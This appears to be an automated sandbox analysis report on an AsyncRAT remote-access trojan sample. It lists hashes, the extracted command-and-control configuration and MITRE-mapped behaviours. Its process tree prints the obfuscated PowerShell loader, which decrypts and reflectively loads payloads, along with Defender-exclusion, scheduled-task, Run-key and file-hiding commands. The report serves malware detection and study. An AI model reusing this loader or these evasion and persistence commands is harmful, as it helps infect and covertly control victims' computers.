asyncrat | 0566f05ffcbe0e80b2a185207b6f5e4659c11e5cda4aff1074d2261c04035b5d

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
o.bat
Size 156KB
Sample260718-lc6xtaat51
SHA256 0566f05ffcbe0e80b2a185207b6f5e4659c11e5cda4aff1074d2261c04035b5d
MD5 81670900e2e96c3170a989ceef035c63
SHA1 17093c6d6cfb912b05997b1bedc696b4bba9aea8
SHA512 e78da2f5d33833f8199ce1b8329618517044e4875fad2cbdcf84750c7f7e4d2e6a42f6b2f6c9952fa31f8a9ed9a098749a2784872c6ab56af466d67ed61c86ea
SSDEEP 3072:39SHq+abI5226XIrray4fUt4cHokTbQlR4ieFV8AD3aJHjUCSJTeK:3S5HokioCSJL
TLSH
T1A6F39E9FED4F4CF6039945C819F0B4890345B429834D9C18362A7FE5A2FA36EBC06B76
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

null defense_evasion execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.6A

Botnet

null

vxoso66.com:8080
vxoso66.com:443
vxoso66.com:80
vxoso66.com:8443

Mutex

qh88clb.com

Attributes

delay
5
install
true
install_file
system.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3656-67-0x0000025FF6DD0000-0x0000025FF6DE2000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4176	powershell.exe
3000	powershell.exe
2560	powershell.exe
4788	powershell.exe
3656	powershell.exe
5864	powershell.exe
2060	powershell.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2708	attrib.exe
4108	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
5620	system.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 4 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
2548	cmd.exe
1748	cmd.exe
1896	cmd.exe
4308	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1264	WScript.exe
3148	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4300	cmd.exe
4716	cmd.exe
2296	cmd.exe
3376	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5840	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4220	schtasks.exe
2596	schtasks.exe
2952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 51 IoCs

pid	Process
4176	powershell.exe
4176	powershell.exe
3000	powershell.exe
3000	powershell.exe
5864	powershell.exe
5864	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
4788	powershell.exe
4788	powershell.exe
4788	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe
5620	system.exe
5620	system.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4176	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	5864	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeIncreaseQuotaPrivilege	2060	powershell.exe
Token: SeSecurityPrivilege	2060	powershell.exe
Token: SeTakeOwnershipPrivilege	2060	powershell.exe
Token: SeLoadDriverPrivilege	2060	powershell.exe
Token: SeSystemProfilePrivilege	2060	powershell.exe
Token: SeSystemtimePrivilege	2060	powershell.exe
Token: SeProfSingleProcessPrivilege	2060	powershell.exe
Token: SeIncBasePriorityPrivilege	2060	powershell.exe
Token: SeCreatePagefilePrivilege	2060	powershell.exe
Token: SeBackupPrivilege	2060	powershell.exe
Token: SeRestorePrivilege	2060	powershell.exe
Token: SeShutdownPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeSystemEnvironmentPrivilege	2060	powershell.exe
Token: SeRemoteShutdownPrivilege	2060	powershell.exe
Token: SeUndockPrivilege	2060	powershell.exe
Token: SeManageVolumePrivilege	2060	powershell.exe
Token: 33	2060	powershell.exe
Token: 34	2060	powershell.exe
Token: 35	2060	powershell.exe
Token: 36	2060	powershell.exe
Token: SeIncreaseQuotaPrivilege	2060	powershell.exe
Token: SeSecurityPrivilege	2060	powershell.exe
Token: SeTakeOwnershipPrivilege	2060	powershell.exe
Token: SeLoadDriverPrivilege	2060	powershell.exe
Token: SeSystemProfilePrivilege	2060	powershell.exe
Token: SeSystemtimePrivilege	2060	powershell.exe
Token: SeProfSingleProcessPrivilege	2060	powershell.exe
Token: SeIncBasePriorityPrivilege	2060	powershell.exe
Token: SeCreatePagefilePrivilege	2060	powershell.exe
Token: SeBackupPrivilege	2060	powershell.exe
Token: SeRestorePrivilege	2060	powershell.exe
Token: SeShutdownPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeSystemEnvironmentPrivilege	2060	powershell.exe
Token: SeRemoteShutdownPrivilege	2060	powershell.exe
Token: SeUndockPrivilege	2060	powershell.exe
Token: SeManageVolumePrivilege	2060	powershell.exe
Token: 33	2060	powershell.exe
Token: 34	2060	powershell.exe
Token: 35	2060	powershell.exe
Token: 36	2060	powershell.exe
Token: SeIncreaseQuotaPrivilege	2060	powershell.exe
Token: SeSecurityPrivilege	2060	powershell.exe
Token: SeTakeOwnershipPrivilege	2060	powershell.exe
Token: SeLoadDriverPrivilege	2060	powershell.exe
Token: SeSystemProfilePrivilege	2060	powershell.exe
Token: SeSystemtimePrivilege	2060	powershell.exe
Token: SeProfSingleProcessPrivilege	2060	powershell.exe
Token: SeIncBasePriorityPrivilege	2060	powershell.exe
Token: SeCreatePagefilePrivilege	2060	powershell.exe
Token: SeBackupPrivilege	2060	powershell.exe
Token: SeRestorePrivilege	2060	powershell.exe
Token: SeShutdownPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeSystemEnvironmentPrivilege	2060	powershell.exe
Token: SeRemoteShutdownPrivilege	2060	powershell.exe
Token: SeUndockPrivilege	2060	powershell.exe
Token: SeManageVolumePrivilege	2060	powershell.exe
Token: 33	2060	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4300 wrote to memory of 2548	4300	cmd.exe	90
PID 2548 wrote to memory of 4176	2548	cmd.exe	91
PID 4300 wrote to memory of 1748	4300	cmd.exe	92
PID 1748 wrote to memory of 3000	1748	cmd.exe	93
PID 4300 wrote to memory of 5536	4300	cmd.exe	94
PID 4300 wrote to memory of 5864	4300	cmd.exe	95
PID 5864 wrote to memory of 2060	5864	powershell.exe	96
PID 5864 wrote to memory of 3148	5864	powershell.exe	99
PID 3148 wrote to memory of 4716	3148	WScript.exe	100
PID 4716 wrote to memory of 1896	4716	cmd.exe	102
PID 1896 wrote to memory of 2560	1896	cmd.exe	103
PID 4716 wrote to memory of 4308	4716	cmd.exe	104
PID 4308 wrote to memory of 4788	4308	cmd.exe	105
PID 4300 wrote to memory of 4220	4300	cmd.exe	106
PID 4300 wrote to memory of 4768	4300	cmd.exe	107
PID 4300 wrote to memory of 2708	4300	cmd.exe	108
PID 4716 wrote to memory of 3320	4716	cmd.exe	109
PID 4716 wrote to memory of 3656	4716	cmd.exe	110
PID 1264 wrote to memory of 2296	1264	WScript.exe	114
PID 3656 wrote to memory of 2596	3656	powershell.exe	116
PID 3656 wrote to memory of 3376	3656	powershell.exe	119
PID 3376 wrote to memory of 5840	3376	cmd.exe	121
PID 4716 wrote to memory of 2952	4716	cmd.exe	122
PID 4716 wrote to memory of 5944	4716	cmd.exe	123
PID 4716 wrote to memory of 4108	4716	cmd.exe	124
PID 3376 wrote to memory of 5620	3376	cmd.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2708	attrib.exe
4108	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\o.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4176
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P2SkFKlHOx//MdXFA91ZOKAeNN3nuGyq99LBr2kG7gM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CVQQFTPwkaH0gYSGv5D7HA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FPJpuneAQIIaSFyGmLUBtAWra=New-Object System.IO.MemoryStream(,$param_var); $iogVDgzyBPZdNVJfTOLSwwXIX=New-Object System.IO.MemoryStream; $keEHffTsplYYFnCiBrPyCyQkw=New-Object System.IO.Compression.GZipStream($FPJpuneAQIIaSFyGmLUBtAWra, [IO.Compression.CompressionMode]::Decompress); $keEHffTsplYYFnCiBrPyCyQkw.CopyTo($iogVDgzyBPZdNVJfTOLSwwXIX); $keEHffTsplYYFnCiBrPyCyQkw.Dispose(); $FPJpuneAQIIaSFyGmLUBtAWra.Dispose(); $iogVDgzyBPZdNVJfTOLSwwXIX.Dispose(); $iogVDgzyBPZdNVJfTOLSwwXIX.ToArray();}function execute_function($param_var,$param2_var){ $zLkyELryYtcURvKgKyJKhoBiK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UfhjvMotlFuIUKzHzGTAnKVfr=$zLkyELryYtcURvKgKyJKhoBiK.EntryPoint; $UfhjvMotlFuIUKzHzGTAnKVfr.Invoke($null, $param2_var);}$xUYvbqoJCHUZkgymwBsxzXyCv = 'C:\Users\Admin\AppData\Local\Temp\o.bat';$host.UI.RawUI.WindowTitle = $xUYvbqoJCHUZkgymwBsxzXyCv;$UkhgiJhhTmkBqZEFuGxMOoCog=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xUYvbqoJCHUZkgymwBsxzXyCv).Split([Environment]::NewLine);foreach ($fqaQGGISantpaRLOfqSyxRmzZ in $UkhgiJhhTmkBqZEFuGxMOoCog) { if ($fqaQGGISantpaRLOfqSyxRmzZ.StartsWith('dfsAZruQpRaJwrjEYWOH')) { $UpRgcAvvahghCtXMRqUnLfCNR=$fqaQGGISantpaRLOfqSyxRmzZ.Substring(20); break; }}$payloads_var=[string[]]$UpRgcAvvahghCtXMRqUnLfCNR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:5536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_888_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_888.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2060
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_888.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_888.bat" "
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4716
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Suspicious use of WriteProcessMemory
        
        PID:1896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2560
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Suspicious use of WriteProcessMemory
        
        PID:4308
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4788
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P2SkFKlHOx//MdXFA91ZOKAeNN3nuGyq99LBr2kG7gM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CVQQFTPwkaH0gYSGv5D7HA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FPJpuneAQIIaSFyGmLUBtAWra=New-Object System.IO.MemoryStream(,$param_var); $iogVDgzyBPZdNVJfTOLSwwXIX=New-Object System.IO.MemoryStream; $keEHffTsplYYFnCiBrPyCyQkw=New-Object System.IO.Compression.GZipStream($FPJpuneAQIIaSFyGmLUBtAWra, [IO.Compression.CompressionMode]::Decompress); $keEHffTsplYYFnCiBrPyCyQkw.CopyTo($iogVDgzyBPZdNVJfTOLSwwXIX); $keEHffTsplYYFnCiBrPyCyQkw.Dispose(); $FPJpuneAQIIaSFyGmLUBtAWra.Dispose(); $iogVDgzyBPZdNVJfTOLSwwXIX.Dispose(); $iogVDgzyBPZdNVJfTOLSwwXIX.ToArray();}function execute_function($param_var,$param2_var){ $zLkyELryYtcURvKgKyJKhoBiK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UfhjvMotlFuIUKzHzGTAnKVfr=$zLkyELryYtcURvKgKyJKhoBiK.EntryPoint; $UfhjvMotlFuIUKzHzGTAnKVfr.Invoke($null, $param2_var);}$xUYvbqoJCHUZkgymwBsxzXyCv = 'C:\Users\Admin\AppData\Roaming\Windows_Log_888.bat';$host.UI.RawUI.WindowTitle = $xUYvbqoJCHUZkgymwBsxzXyCv;$UkhgiJhhTmkBqZEFuGxMOoCog=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($xUYvbqoJCHUZkgymwBsxzXyCv).Split([Environment]::NewLine);foreach ($fqaQGGISantpaRLOfqSyxRmzZ in $UkhgiJhhTmkBqZEFuGxMOoCog) { if ($fqaQGGISantpaRLOfqSyxRmzZ.StartsWith('dfsAZruQpRaJwrjEYWOH')) { $UpRgcAvvahghCtXMRqUnLfCNR=$fqaQGGISantpaRLOfqSyxRmzZ.Substring(20); break; }}$payloads_var=[string[]]$UpRgcAvvahghCtXMRqUnLfCNR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:3320
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3656
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'system"' /tr "'C:\Users\Admin\AppData\Roaming\system.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2596
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF88F.tmp.bat""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3376
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:5840
        
        C:\Users\Admin\AppData\Roaming\system.exe
        
        "C:\Users\Admin\AppData\Roaming\system.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5620
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2952
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
        5⤵
        Adds Run key to start application
        
        PID:5944
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\ProgramData\acwin_manager
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4108
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4220
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
  2⤵
  - Adds Run key to start application
  PID:4768
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\ProgramData\acwin_manager
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:2708

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\acwin_manager\windows_systemManager.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\acwin_manager\ProcessManager.bat"
  2⤵
  - Executes a command shell one-liner
  PID:2296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

windows_systemManager.vbs

Path C:\ProgramData\acwin_manager\windows_systemManager.vbs
Size 133B
SHA256 14c22c0034b1124b05e433dc8c3e910639d9d0f4a83ac60c756b96eee3c23e2a
MD5 a2357033b0d440a11a314e287629b547
SHA1 b588ec60f3a43bfd4c4fac5aca003f7f576cf6db
SHA512 b09abf3aa420784c587259502869f6fcdef7238ff5295b30b9a26abb66651b959468159ef5a93d51ae394957d7ecd06589af9685047014db2076733d026db85e
TLSH
T142C09B11562EA559285FF0D5273044158ED1EF1925B15937875CC92F962B6D11317006
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 7849fae9ed77ffd854592a0a1827b15a7f3a5c0bf190e2ab908a41b6d5441b42
MD5 6eca45b8454357bd707aa7075547a1f7
SHA1 f24bfb42ac6183ca990a7e52d0e4296fd1ece0f5
SHA512 f269c74b5d4a26b63bc044dc0cc109dd1421fa76047e0290373d61d96fbeaeca4d29cb523adeb6be5051d86963a34eed8a237b93231c18ccee78868cae9a7cbc
SSDEEP 1536:zKLg0mYo2hOovpfKQVCYXflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwG:zKLg0mYo2hOovpfKQVCYXflJd9YWqiU8
TLSH
T182636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 ee4d4e5c3861832b7b93b2b1b5e716aaae18653b4d62cd87fd8e842f25f9e15b
MD5 b0f0e31a1957295234b84dc8e5acf134
SHA1 dcc400dae26ee7b8addd0eb733b04fb09544f965
SHA512 fbdc417ff297888ab28383c23f0d7465f65811690436a51fb3be791fcd17a81d3be964f0c8801498cee7514c167b556e1b559df5e96d5d1d9d901358c83dac5a
TLSH
T17C319E33B3CC8993D889413550CDAC1335B786D744AECECFEB8CD6A4A43F595CAA4164
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 7d0ecad2fe1e3c2e7e1e0be9bf6821a4fbc969ce5251a9b4cbe2b2c7fd35720e
MD5 fd2b3f73f97eeba77f7d5d19991e4e83
SHA1 1f6dc768d98d37b156354ba2d16167bf3111c52f
SHA512 c4ec58ee8718242da7bf7fe80318caa732ed8170f7655afabd0dde97168217f9608c41a4a2b231fac885c40df87ea832e0e3b5acd65ea1a3d07f921e73d75f69
TLSH
T11931BE23B39C4613D88A4136108DAC3335E687CB459ECECFEB88D664A03F595CA60164
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
MD5 05006006f463163bc6fd6b61c4a34bfc
SHA1 303217039cd89f9210cefd6a22f9d7c334588409
SHA512 dbb90332400dc203c7804d0c4bc438500521379f74c71530cea9de135de75a1d53c1bf11714faac0d3144ea4b0c8bca85485f4362b60c27455e529b7ca91281f
TLSH
T155218933B3CC8614CC9A413A10CEAC1036B6C7DB809ECEAB7B84D544A42F299CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 60fea7aeeddac3874f6bdad4225f1a36c9e8cf0a679dd57be87cf66f5cd0bd4d
MD5 7e4568d173ae60eb437c9eaa36d3e66a
SHA1 603c112485489e0df4a5ad5bdf94da4dccb7c410
SHA512 52a3463f22879009b721d8ef752cd7eff3e3ce8208085a73c26e7a0a90b5631c24d671c514940d0583fc3f3fe6915fc612aa207154b73d28f3f47f1e771902bc
TLSH
T11C116633F3CD86A4DD59403650CEAC1136B787CB40DECE9B6B84C155A46F685CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5734e91cee6f98c3b57c12bac6db116dec9dc6d2c9f7d7b6561a96cdb8fae6ce
MD5 2de0189f4d9a6fee4221ce5fe43901ab
SHA1 90463df2f5332b4cde11d09de29237b8ef46d1aa
